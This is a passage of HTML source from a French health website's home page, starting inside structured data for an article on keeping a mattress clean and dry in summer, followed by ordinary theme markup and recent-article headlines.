probl\u00e8mes, il peut \u00eatre tentant de jeter l'\u00e9ponge et de r\u00eaver au changement de matelas \u00e0 chaque \u00e9t\u00e9... Pourtant, il existe des solutions simples et accessibles \u00e0 tous pour redonner une seconde jeunesse \u00e0 son couchage sans passer par la case \"d\u00e9penses \u00e0 rallonge\". Nettoyer oui, mais comment ? Les gestes utiles et ceux \u00e0 oublier Petit rappel de base : les sprays parfum\u00e9s ou les d\u00e9sodorisants n'\u00e9liminent ni les acariens, ni l'humidit\u00e9 emprisonn\u00e9e. Mieux vaut miser sur un nettoyage \u00e0 la vapeur (pour les matelas qui le tol\u00e8rent) ou un passage r\u00e9gulier de l'aspirateur muni d'un embout adapt\u00e9. Les solutions maison, comme le bicarbonate de soude, permettent d'absorber les odeurs et une partie de l'humidit\u00e9. En revanche, il est recommand\u00e9 d'\u00e9viter l'usage excessif d'eau, au risque d'aggraver le ph\u00e9nom\u00e8ne d'humidit\u00e9 interne. Retourner, a\u00e9rer, prot\u00e9ger : les nouvelles routines \u00e0 adopter Trois gestes simples peuvent r\u00e9volutionner la propret\u00e9 de votre couchage. Premi\u00e8rement, retourner le matelas tous les 2 \u00e0 3 mois permet une meilleure r\u00e9partition de l'usure et de l'humidit\u00e9. Ensuite, l'a\u00e9rer quotidiennement en repliant la couette quelques heures chasse les exc\u00e8s de chaleur et l'humidit\u00e9 pi\u00e9g\u00e9e. Enfin, le recours \u00e0 une housse imperm\u00e9able mais respirante prot\u00e8ge votre investissement tout en limitant la prolif\u00e9ration des acariens. Adopter les bons r\u00e9flexes pendant les fortes chaleurs Pour affronter les pics de temp\u00e9rature sans transformer son lit en nid \u00e0 bact\u00e9ries, la vigilance et quelques astuces suffisent \u00e0 pr\u00e9server un matelas sain tout au long de l'\u00e9t\u00e9. Ventiler sans rel\u00e2che : la cl\u00e9 d'un matelas sec et sain On croit souvent, \u00e0 tort, que fermer les fen\u00eatres pendant la journ\u00e9e prot\u00e8ge le matelas de la chaleur. Or, c'est tout l'inverse qui est recommand\u00e9 : laisser circuler l'air, brasser les pi\u00e8ces et privil\u00e9gier une ventilation quotidienne, m\u00eame quelques minutes, emp\u00eachent la stagnation de l'humidit\u00e9. En cas de canicule, il peut \u00eatre judicieux de d\u00e9faire enti\u00e8rement le lit pour favoriser une \u00e9vaporation rapide et naturelle. Investir dans la pr\u00e9vention : housses, prot\u00e8ge-matelas et astuces simples Un bon prot\u00e8ge-matelas lavable joue le r\u00f4le de bouclier, attrapant au passage sueur, salet\u00e9s et peaux mortes avant qu'elles n'atteignent le c\u0153ur du matelas. \u00c0 compl\u00e9ter, si possible, par des accessoires en tissus naturels qui respirent mieux que les mati\u00e8res synth\u00e9tiques. Et pourquoi ne pas profiter de chaque changement de draps pour passer un rapide coup d'aspirateur ? Quelques gestes simples peuvent ainsi pr\u00e9server bien des nuits... et des matins. Vers des nuits plus saines : synth\u00e8se des risques \u00e9vitables et conseils \u00e0 long terme G\u00e9rer son matelas ne demande ni dipl\u00f4me, ni \u00e9quipements sophistiqu\u00e9s : tout commence par la reconnaissance des signaux d'alerte et l'adoption d'une routine adapt\u00e9e \u00e0 chaque saison. Identifier rapidement les signaux d'alerte L'apparition d'odeurs inhabituelles, de taches persistantes, ou une augmentation des sympt\u00f4mes allergiques sont des signaux \u00e0 prendre au s\u00e9rieux. \u00c0 la moindre suspicion de moisissures ou de sensation d'humidit\u00e9, un grand nettoyage s'impose, voire une v\u00e9rification approfondie de la structure du matelas. Mettre en place une routine saisonni\u00e8re pour un sommeil r\u00e9parateur Le secret d'un sommeil retrouv\u00e9 ? Instaurer une routine de vigilance \u00e0 chaque changement de saison : nettoyage, rotation, a\u00e9ration profonde, remise en place de protections lavables. Un matelas bien entretenu traverse les ann\u00e9es, garantissant non seulement des nuits paisibles, mais aussi une sant\u00e9 mieux pr\u00e9serv\u00e9e sur le long terme. \u00c0 l'arriv\u00e9e des beaux jours, il serait dommage de sacrifier ses nuits et son bien-\u00eatre par n\u00e9gligence. Prendre soin de son matelas s'av\u00e8re un r\u00e9flexe simple, \u00e0 la port\u00e9e de toutes et tous, pour \u00e9loigner fatigue chronique, allergies et autres tracas estivaux. Le bon entretien du matelas pourrait bien \u00eatre la cl\u00e9 d'un \u00e9t\u00e9 reposant et revitalisant.","keywords":"Push, ","datePublished":"2025-09-09T07:10:00+02:00","dateModified":"2025-09-09T07:10:00+02:00","author":{"@type":"Person","name":"La Redaction","url":"https:\/\/docteurtamalou.fr\/author\/la-redaction\/","sameAs":[],"image":{"@type":"ImageObject","url":"https:\/\/secure.gravatar.com\/avatar\/25227f4da3bde56e2b3ab52e55dc765c?s=96&d=retro&r=g","height":96,"width":96}},"editor":{"@type":"Person","name":"La Redaction","url":"https:\/\/docteurtamalou.fr\/author\/la-redaction\/","sameAs":[],"image":{"@type":"ImageObject","url":"https:\/\/secure.gravatar.com\/avatar\/25227f4da3bde56e2b3ab52e55dc765c?s=96&d=retro&r=g","height":96,"width":96}},"publisher":{"@type":"Organization","name":"Docteur Tamalou","url":"https:\/\/docteurtamalou.fr"}},
{"@context":"https:\/\/schema.org\/","@type":"MedicalOrganization","@id":"https:\/\/docteurtamalou.fr#Organization","name":"Docteur Tamalou","url":"https:\/\/docteurtamalou.fr","sameAs":["https:\/\/www.facebook.com\/docteurtamalou\/"],"contactPoint":{"@type":"ContactPoint","contactType":"customer support","telephone":"+33476266578","url":"https:\/\/docteurtamalou.fr\/contact\/"}}]
</script>
<style>
.e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload),
.e-con.e-parent:nth-of-type(n+4):not(.e-lazyloaded):not(.e-no-lazyload) * {
background-image: none !important;
}
@media screen and (max-height: 1024px) {
.e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload),
.e-con.e-parent:nth-of-type(n+3):not(.e-lazyloaded):not(.e-no-lazyload) * {
background-image: none !important;
}
}
@media screen and (max-height: 640px) {
.e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload),
.e-con.e-parent:nth-of-type(n+2):not(.e-lazyloaded):not(.e-no-lazyload) * {
background-image: none !important;
}
}
</style>
<link rel="icon" href="https://docteurtamalou.fr/wp-content/uploads/2018/01/cropped-capture-2018-01-04-à-15.33.35-32x32.jpg" sizes="32x32" />
<link rel="icon" href="https://docteurtamalou.fr/wp-content/uploads/2018/01/cropped-capture-2018-01-04-à-15.33.35-192x192.jpg" sizes="192x192" />
<link rel="apple-touch-icon" href="https://docteurtamalou.fr/wp-content/uploads/2018/01/cropped-capture-2018-01-04-à-15.33.35-180x180.jpg" />
<meta name="msapplication-TileImage" content="https://docteurtamalou.fr/wp-content/uploads/2018/01/cropped-capture-2018-01-04-à-15.33.35-270x270.jpg" />
<script>if("undefined"!=typeof localStorage){var nsfwItemId=document.getElementsByName("g1:nsfw-item-id");nsfwItemId=nsfwItemId.length>0?nsfwItemId[0].getAttribute("content"):"g1_nsfw_off",window.g1SwitchNSFW=function(e){e?(localStorage.setItem(nsfwItemId,1),document.documentElement.classList.add("g1-nsfw-off")):(localStorage.removeItem(nsfwItemId),document.documentElement.classList.remove("g1-nsfw-off"))};try{var nsfwmode=localStorage.getItem(nsfwItemId);window.g1SwitchNSFW(nsfwmode)}catch(e){}}</script>
<style type="text/css" id="wp-custom-css">
div.conteneur {
width:400px;
padding:10px; /* espace interne du conteneur */
text-align:center; }
div.bloc {
padding:10px; /* aération interne des blocs */
margin:0 10px; /* espacement horizontal entre les blocs */
width:100px;
display:inline-block;
vertical-align:middle;
text-align:left; /* on rétablit l'alignement du texte */ } </style>
<style>
.ai-viewports {--ai: 1;}
.ai-viewport-3 { display: none !important;}
.ai-viewport-2 { display: none !important;}
.ai-viewport-1 { display: inherit !important;}
.ai-viewport-0 { display: none !important;}
@media (min-width: 768px) and (max-width: 979px) {
.ai-viewport-1 { display: none !important;}
.ai-viewport-2 { display: inherit !important;}
}
@media (max-width: 767px) {
.ai-viewport-1 { display: none !important;}
.ai-viewport-3 { display: inherit !important;}
}
</style>
</head>
<body data-rsssl=1 class="home blog wp-embed-responsive g1-layout-stretched g1-hoverable g1-has-mobile-logo g1-sidebar-normal elementor-default elementor-kit-17569" itemscope="" itemtype="http://schema.org/WebPage" >
<div class="g1-body-inner">
<div id="page">
<div class="g1-row g1-row-layout-page g1-hb-row g1-hb-row-normal g1-hb-row-a g1-hb-row-1 g1-hb-boxed g1-hb-sticky-off g1-hb-shadow-off">
<div class="g1-row-inner">
<div class="g1-column g1-dropable">
<div class="g1-bin-1 g1-bin-grow-off">
<div class="g1-bin g1-bin-align-left">
<!-- BEGIN .g1-secondary-nav -->
<!-- END .g1-secondary-nav -->
</div>
</div>
<div class="g1-bin-2 g1-bin-grow-off">
<div class="g1-bin g1-bin-align-center">
</div>
</div>
<div class="g1-bin-3 g1-bin-grow-off">
<div class="g1-bin g1-bin-align-right">
</div>
</div>
</div>
</div>
<div class="g1-row-background"></div>
</div>
<div class="g1-row g1-row-layout-page g1-hb-row g1-hb-row-normal g1-hb-row-b g1-hb-row-2 g1-hb-boxed g1-hb-sticky-off g1-hb-shadow-off">
<div class="g1-row-inner">
<div class="g1-column g1-dropable">
<div class="g1-bin-1 g1-bin-grow-off">
<div class="g1-bin g1-bin-align-left">
<div class="g1-id g1-id-desktop">
<h1 class="g1-mega g1-mega-1st site-title">
<a class="g1-logo-wrapper"
href="https://docteurtamalou.fr/" rel="home">
<picture class="g1-logo g1-logo-default">
<source media="(min-width: 1025px)" srcset="https://docteurtamalou.fr/wp-content/uploads/2018/01/capture-2018-01-04-Ã -15.09.24-1.jpg 2x,https://docteurtamalou.fr/wp-content/uploads/2018/01/capture-2018-01-04-Ã -15.09.24-1.jpg 1x">
<source media="(max-width: 1024px)" srcset="data:image/svg+xml,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%20235%2060%27%2F%3E">
<img
src="https://docteurtamalou.fr/wp-content/uploads/2018/01/capture-2018-01-04-Ã -15.09.24-1.jpg"
width="235"
height="60"
alt="Docteur Tamalou" />
</picture>
</a>
</h1>
</div> </div>
</div>
<div class="g1-bin-2 g1-bin-grow-off">
<div class="g1-bin g1-bin-align-center">
</div>
</div>
<div class="g1-bin-3 g1-bin-grow-off">
<div class="g1-bin g1-bin-align-right">
<!-- BEGIN .g1-primary-nav -->
<nav id="g1-primary-nav" class="g1-primary-nav"><ul id="g1-primary-nav-menu" class="g1-primary-nav-menu g1-menu-h"><li id="menu-item-2862" class="menu-item menu-item-type-custom menu-item-object-custom current-menu-item current_page_item menu-item-home menu-item-g1-standard menu-item-2862"><a href="https://docteurtamalou.fr" aria-current="page">Accueil</a></li>
<li id="menu-item-10425" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-g1-standard menu-item-10425"><a href="https://docteurtamalou.fr/index-des-maladies/">Index des maladies</a></li>
<li id="menu-item-2863" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-g1-standard menu-item-2863"><a href="https://docteurtamalou.fr/sante/">Santé quotidienne</a></li>
<li id="menu-item-2864" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-g1-standard menu-item-2864"><a href="https://docteurtamalou.fr/remedes-naturels/">Remèdes naturels</a></li>
<li id="menu-item-2865" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-g1-standard menu-item-2865"><a href="https://docteurtamalou.fr/nutrition/">Nutrition</a></li>
<li id="menu-item-2867" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-g1-standard menu-item-2867"><a href="https://docteurtamalou.fr/grossesse/">Grossesse</a></li>
<li id="menu-item-2866" class="menu-item menu-item-type-taxonomy menu-item-object-category menu-item-g1-standard menu-item-2866"><a href="https://docteurtamalou.fr/sexualite/">Sexualité</a></li>
</ul></nav><!-- END .g1-primary-nav -->
<div class="g1-drop g1-drop-with-anim g1-drop-before g1-drop-the-search g1-drop-l g1-drop-icon ">
<a class="g1-drop-toggle" href="https://docteurtamalou.fr/?s=">
<span class="g1-drop-toggle-icon"></span><span class="g1-drop-toggle-text">Search</span>
<span class="g1-drop-toggle-arrow"></span>
</a>
<div class="g1-drop-content">
<div role="search" class="search-form-wrapper">
<form method="get"
class="g1-searchform-tpl-default g1-searchform-ajax search-form"
action="https://docteurtamalou.fr/">
<label>
<span class="screen-reader-text">Search for:</span>
<input type="search" class="search-field"
placeholder="Search …"
value="" name="s"
title="Search for:" />
</label>
<button class="search-submit">Search</button>
</form>
<div class="g1-searches g1-searches-ajax"></div>
</div>
</div>
</div>
<nav class="g1-drop g1-drop-with-anim g1-drop-before g1-drop-the-user g1-drop-l g1-drop-icon ">
<a class="g1-drop-toggle snax-login-required" href="https://docteurtamalou.fr/wp-login.php">
<span class="g1-drop-toggle-icon"></span><span class="g1-drop-toggle-text">Login</span>
<span class="g1-drop-toggle-arrow"></span>
</a>
</nav>
</div>
</div>
</div>
</div>
<div class="g1-row-background"></div>
</div>
<div class="g1-row g1-row-layout-page g1-hb-row g1-hb-row-normal g1-hb-row-c g1-hb-row-3 g1-hb-boxed g1-hb-sticky-off g1-hb-shadow-off">
<div class="g1-row-inner">
<div class="g1-column g1-dropable">
<div class="g1-bin-1 g1-bin-grow-off">
<div class="g1-bin g1-bin-align-left">
</div>
</div>
<div class="g1-bin-2 g1-bin-grow-off">
<div class="g1-bin g1-bin-align-center">
</div>
</div>
<div class="g1-bin-3 g1-bin-grow-off">
<div class="g1-bin g1-bin-align-right">
</div>
</div>
</div>
</div>
<div class="g1-row-background"></div>
</div>
<div class="g1-sticky-top-wrapper g1-hb-row-1">
<div class="g1-row g1-row-layout-page g1-hb-row g1-hb-row-mobile g1-hb-row-a g1-hb-row-1 g1-hb-boxed g1-hb-sticky-on g1-hb-shadow-off">
<div class="g1-row-inner">
<div class="g1-column g1-dropable">
<div class="g1-bin-1 g1-bin-grow-off">
<div class="g1-bin g1-bin-align-left">
</div>
</div>
<div class="g1-bin-2 g1-bin-grow-off">
<div class="g1-bin g1-bin-align-center">
</div>
</div>
<div class="g1-bin-3 g1-bin-grow-off">
<div class="g1-bin g1-bin-align-right">
</div>
</div>
</div>
</div>
<div class="g1-row-background"></div>
</div>
</div>
<div class="g1-row g1-row-layout-page g1-hb-row g1-hb-row-mobile g1-hb-row-b g1-hb-row-2 g1-hb-boxed g1-hb-sticky-off g1-hb-shadow-off">
<div class="g1-row-inner">
<div class="g1-column g1-dropable">
<div class="g1-bin-1 g1-bin-grow-off">
<div class="g1-bin g1-bin-align-left">
<a class="g1-hamburger g1-hamburger-show g1-hamburger-s " href="#">
<span class="g1-hamburger-icon"></span>
<span class="g1-hamburger-label
g1-hamburger-label-hidden ">Menu</span>
</a>
</div>
</div>
<div class="g1-bin-2 g1-bin-grow-on">
<div class="g1-bin g1-bin-align-center">
<div class="g1-id g1-id-mobile">
<p class="g1-mega g1-mega-1st site-title">
<a class="g1-logo-wrapper"
href="https://docteurtamalou.fr/" rel="home">
<picture class="g1-logo g1-logo-default">
<source media="(max-width: 1024px)" srcset="https://docteurtamalou.fr/wp-content/uploads/2018/01/capture-2018-01-04-Ã -15.09.24-1.jpg">
<source media="(min-width: 1025px)" srcset="data:image/svg+xml,%3Csvg%20xmlns%3D%27http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg%27%20viewBox%3D%270%200%20170%200%27%2F%3E">
<img
src="https://docteurtamalou.fr/wp-content/uploads/2018/01/capture-2018-01-04-Ã -15.09.24-1.jpg"
width="170"
height="0"
alt="Docteur Tamalou" />
</picture>
</a>
</p>
</div> </div>
</div>
<div class="g1-bin-3 g1-bin-grow-off">
<div class="g1-bin g1-bin-align-right">
<nav class="g1-drop g1-drop-with-anim g1-drop-before g1-drop-the-user g1-drop-l g1-drop-icon ">
<a class="g1-drop-toggle snax-login-required" href="https://docteurtamalou.fr/wp-login.php">
<span class="g1-drop-toggle-icon"></span><span class="g1-drop-toggle-text">Login</span>
<span class="g1-drop-toggle-arrow"></span>
</a>
</nav>
<div class="g1-drop g1-drop-with-anim g1-drop-before g1-drop-the-search g1-drop-l g1-drop-icon ">
<a class="g1-drop-toggle" href="https://docteurtamalou.fr/?s=">
<span class="g1-drop-toggle-icon"></span><span class="g1-drop-toggle-text">Search</span>
<span class="g1-drop-toggle-arrow"></span>
</a>
<div class="g1-drop-content">
<div role="search" class="search-form-wrapper">
<form method="get"
class="g1-searchform-tpl-default g1-searchform-ajax search-form"
action="https://docteurtamalou.fr/">
<label>
<span class="screen-reader-text">Search for:</span>
<input type="search" class="search-field"
placeholder="Search …"
value="" name="s"
title="Search for:" />
</label>
<button class="search-submit">Search</button>
</form>
<div class="g1-searches g1-searches-ajax"></div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="g1-row-background"></div>
</div>
<div class="g1-row g1-row-layout-page g1-hb-row g1-hb-row-mobile g1-hb-row-c g1-hb-row-3 g1-hb-boxed g1-hb-sticky-off g1-hb-shadow-off">
<div class="g1-row-inner">
<div class="g1-column g1-dropable">
<div class="g1-bin-1 g1-bin-grow-off">
<div class="g1-bin g1-bin-align-left">
</div>
</div>
<div class="g1-bin-2 g1-bin-grow-on">
<div class="g1-bin g1-bin-align-center">
</div>
</div>
<div class="g1-bin-3 g1-bin-grow-off">
<div class="g1-bin g1-bin-align-right">
</div>
</div>
</div>
</div>
<div class="g1-row-background"></div>
</div>
<section class="g1-row g1-row-fluid g1-row-nogutter g1-row-layout-page archive-featured archive-featured-stretched archive-featured-with-gutter">
<div class="g1-row-inner">
<div class="g1-column">
<h2 class="g1-delta g1-delta-2nd screen-reader-text archive-featured-title"><span><strong>Latest stories</strong></span></h2> <div class="g1-mosaic g1-mosaic-3-3v-3v-3v-3v">
<div class="g1-mosaic-item g1-mosaic-item-1">
<article class="entry-tpl-tile g1-dark post-24339 post type-post status-publish format-standard has-post-thumbnail category-remedes-naturels tag-push">
<div class="entry-featured-media " ><a title="Cet ingrédient à saupoudrer dans tous vos plats booste la peau et l’énergie (et personne n’y pense)" class="g1-frame" href="https://docteurtamalou.fr/cet-ingredient-a-saupoudrer-dans-tous-vos-plats-booste-la-peau-et-lenergie-et-personne-ny-pense/"><div class="g1-frame-inner"><img fetchpriority="high" width="758" height="426" src="https://docteurtamalou.fr/wp-content/uploads/2025/08/Tr90S1FiU7-758x426.jpeg" class="attachment-bimber-tile size-bimber-tile wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/08/Tr90S1FiU7-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Tr90S1FiU7-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Tr90S1FiU7-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Tr90S1FiU7-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Tr90S1FiU7-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Tr90S1FiU7-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Tr90S1FiU7-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/08/Tr90S1FiU7-1152x648.jpeg 1152w" sizes="(max-width: 758px) 100vw, 758px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
</div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/cet-ingredient-a-saupoudrer-dans-tous-vos-plats-booste-la-peau-et-lenergie-et-personne-ny-pense/" rel="bookmark">Cet ingrédient à saupoudrer dans tous vos plats booste la peau et l’énergie (et personne n’y pense)</a></h3>
</header>
</div>
</article>
</div>
<div class="g1-mosaic-item g1-mosaic-item-2">
<article class="entry-tpl-tile g1-dark post-24336 post type-post status-publish format-standard has-post-thumbnail category-remedes-naturels tag-push">
<div class="entry-featured-media " ><a title="Testez cette boisson pétillante maison qui booste la flore intestinale (et sublime vos apéros de fin d’été)" class="g1-frame" href="https://docteurtamalou.fr/testez-cette-boisson-petillante-maison-qui-booste-la-flore-intestinale-et-sublime-vos-aperos-de-fin-dete/"><div class="g1-frame-inner"><img width="758" height="426" src="https://docteurtamalou.fr/wp-content/uploads/2025/08/9KDhkf1o7n-758x426.jpeg" class="attachment-bimber-tile size-bimber-tile wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/08/9KDhkf1o7n-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/08/9KDhkf1o7n-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/08/9KDhkf1o7n-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/08/9KDhkf1o7n-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/08/9KDhkf1o7n-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/08/9KDhkf1o7n-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/08/9KDhkf1o7n-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/08/9KDhkf1o7n-1152x648.jpeg 1152w" sizes="(max-width: 758px) 100vw, 758px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
</div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/testez-cette-boisson-petillante-maison-qui-booste-la-flore-intestinale-et-sublime-vos-aperos-de-fin-dete/" rel="bookmark">Testez cette boisson pétillante maison qui booste la flore intestinale (et sublime vos apéros de fin d’été)</a></h3>
</header>
</div>
</article>
</div>
<div class="g1-mosaic-item g1-mosaic-item-3">
<article class="entry-tpl-tile g1-dark post-24553 post type-post status-publish format-standard has-post-thumbnail category-actualite tag-push">
<div class="entry-featured-media " ><a title="Un expert alerte : le paracétamol serait interdit s’il sortait en 2025" class="g1-frame" href="https://docteurtamalou.fr/un-expert-alerte-le-paracetamol-serait-interdit-sil-sortait-en-2025/"><div class="g1-frame-inner"><img loading="lazy" width="758" height="426" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/un-expert-alerte-le-paracc3a9tamol-serait-interdit-se28099il-sortait-en-2025-1757337249-758x426.jpeg" class="attachment-bimber-tile size-bimber-tile wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/un-expert-alerte-le-paracc3a9tamol-serait-interdit-se28099il-sortait-en-2025-1757337249-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/un-expert-alerte-le-paracc3a9tamol-serait-interdit-se28099il-sortait-en-2025-1757337249-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/un-expert-alerte-le-paracc3a9tamol-serait-interdit-se28099il-sortait-en-2025-1757337249-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/un-expert-alerte-le-paracc3a9tamol-serait-interdit-se28099il-sortait-en-2025-1757337249-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/un-expert-alerte-le-paracc3a9tamol-serait-interdit-se28099il-sortait-en-2025-1757337249-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/un-expert-alerte-le-paracc3a9tamol-serait-interdit-se28099il-sortait-en-2025-1757337249-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/un-expert-alerte-le-paracc3a9tamol-serait-interdit-se28099il-sortait-en-2025-1757337249-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/un-expert-alerte-le-paracc3a9tamol-serait-interdit-se28099il-sortait-en-2025-1757337249-1152x648.jpeg 1152w" sizes="(max-width: 758px) 100vw, 758px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
</div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/un-expert-alerte-le-paracetamol-serait-interdit-sil-sortait-en-2025/" rel="bookmark">Un expert alerte : le paracétamol serait interdit s’il sortait en 2025</a></h3>
</header>
</div>
</article>
</div>
<div class="g1-mosaic-item g1-mosaic-item-4">
<article class="entry-tpl-tile g1-dark post-24542 post type-post status-publish format-standard has-post-thumbnail category-sante tag-push">
<div class="entry-featured-media " ><a title="Les salades en sachet sont-elles vraiment sans danger ? La réponse surprend" class="g1-frame" href="https://docteurtamalou.fr/les-salades-en-sachet-sont-elles-vraiment-sans-danger-la-reponse-surprend/"><div class="g1-frame-inner"><img loading="lazy" width="758" height="426" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/les-salades-en-sachet-sont-elles-vraiment-sans-danger-la-rc3a9ponse-surprend-1757325204-758x426.jpeg" class="attachment-bimber-tile size-bimber-tile wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/les-salades-en-sachet-sont-elles-vraiment-sans-danger-la-rc3a9ponse-surprend-1757325204-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/les-salades-en-sachet-sont-elles-vraiment-sans-danger-la-rc3a9ponse-surprend-1757325204-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/les-salades-en-sachet-sont-elles-vraiment-sans-danger-la-rc3a9ponse-surprend-1757325204-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/les-salades-en-sachet-sont-elles-vraiment-sans-danger-la-rc3a9ponse-surprend-1757325204-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/les-salades-en-sachet-sont-elles-vraiment-sans-danger-la-rc3a9ponse-surprend-1757325204-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/les-salades-en-sachet-sont-elles-vraiment-sans-danger-la-rc3a9ponse-surprend-1757325204-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/les-salades-en-sachet-sont-elles-vraiment-sans-danger-la-rc3a9ponse-surprend-1757325204-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/les-salades-en-sachet-sont-elles-vraiment-sans-danger-la-rc3a9ponse-surprend-1757325204-1152x648.jpeg 1152w" sizes="(max-width: 758px) 100vw, 758px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
</div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/les-salades-en-sachet-sont-elles-vraiment-sans-danger-la-reponse-surprend/" rel="bookmark">Les salades en sachet sont-elles vraiment sans danger ? La réponse surprend</a></h3>
</header>
</div>
</article>
</div>
<div class="g1-mosaic-item g1-mosaic-item-5">
<article class="entry-tpl-tile g1-dark post-24549 post type-post status-publish format-standard has-post-thumbnail category-actualite tag-push">
<div class="entry-featured-media " ><a title="Cerveau : ce fruit sec bien français dope votre mémoire selon une nouvelle étude" class="g1-frame" href="https://docteurtamalou.fr/cerveau-ce-fruit-sec-bien-francais-dope-votre-memoire-selon-une-nouvelle-etude/"><div class="g1-frame-inner"><img loading="lazy" width="758" height="426" src="https://docteurtamalou.fr/wp-content/uploads/2025/09/cerveau-ce-fruit-sec-bien-franc3a7ais-dope-votre-mc3a9moire-selon-une-nouvelle-c3a9tude-1757326142-758x426.jpeg" class="attachment-bimber-tile size-bimber-tile wp-post-image" alt="" decoding="async" srcset="https://docteurtamalou.fr/wp-content/uploads/2025/09/cerveau-ce-fruit-sec-bien-franc3a7ais-dope-votre-mc3a9moire-selon-une-nouvelle-c3a9tude-1757326142-758x426.jpeg 758w, https://docteurtamalou.fr/wp-content/uploads/2025/09/cerveau-ce-fruit-sec-bien-franc3a7ais-dope-votre-mc3a9moire-selon-une-nouvelle-c3a9tude-1757326142-192x108.jpeg 192w, https://docteurtamalou.fr/wp-content/uploads/2025/09/cerveau-ce-fruit-sec-bien-franc3a7ais-dope-votre-mc3a9moire-selon-une-nouvelle-c3a9tude-1757326142-384x216.jpeg 384w, https://docteurtamalou.fr/wp-content/uploads/2025/09/cerveau-ce-fruit-sec-bien-franc3a7ais-dope-votre-mc3a9moire-selon-une-nouvelle-c3a9tude-1757326142-364x205.jpeg 364w, https://docteurtamalou.fr/wp-content/uploads/2025/09/cerveau-ce-fruit-sec-bien-franc3a7ais-dope-votre-mc3a9moire-selon-une-nouvelle-c3a9tude-1757326142-728x409.jpeg 728w, https://docteurtamalou.fr/wp-content/uploads/2025/09/cerveau-ce-fruit-sec-bien-franc3a7ais-dope-votre-mc3a9moire-selon-une-nouvelle-c3a9tude-1757326142-561x316.jpeg 561w, https://docteurtamalou.fr/wp-content/uploads/2025/09/cerveau-ce-fruit-sec-bien-franc3a7ais-dope-votre-mc3a9moire-selon-une-nouvelle-c3a9tude-1757326142-1122x631.jpeg 1122w, https://docteurtamalou.fr/wp-content/uploads/2025/09/cerveau-ce-fruit-sec-bien-franc3a7ais-dope-votre-mc3a9moire-selon-une-nouvelle-c3a9tude-1757326142-1152x648.jpeg 1152w" sizes="(max-width: 758px) 100vw, 758px" /><span class="g1-frame-icon g1-frame-icon-"></span></div></a></div>
<div class="entry-body">
<header class="entry-header">
<div class="entry-before-title">
</div>
<h3 class="g1-gamma g1-gamma-1st entry-title"><a href="https://docteurtamalou.fr/cerveau-ce-fruit-sec-bien-francais-dope-votre-memoire-selon-une-nouvelle-etude/" rel="bookmark">Cerveau : ce fruit sec bien français dope votre mémoire selon une nouvelle étude</a></h3>
</header>
</div>
</article>
</div>
</div>
</div>
</div>
<div class="g1-row-background">
</div>
</section>
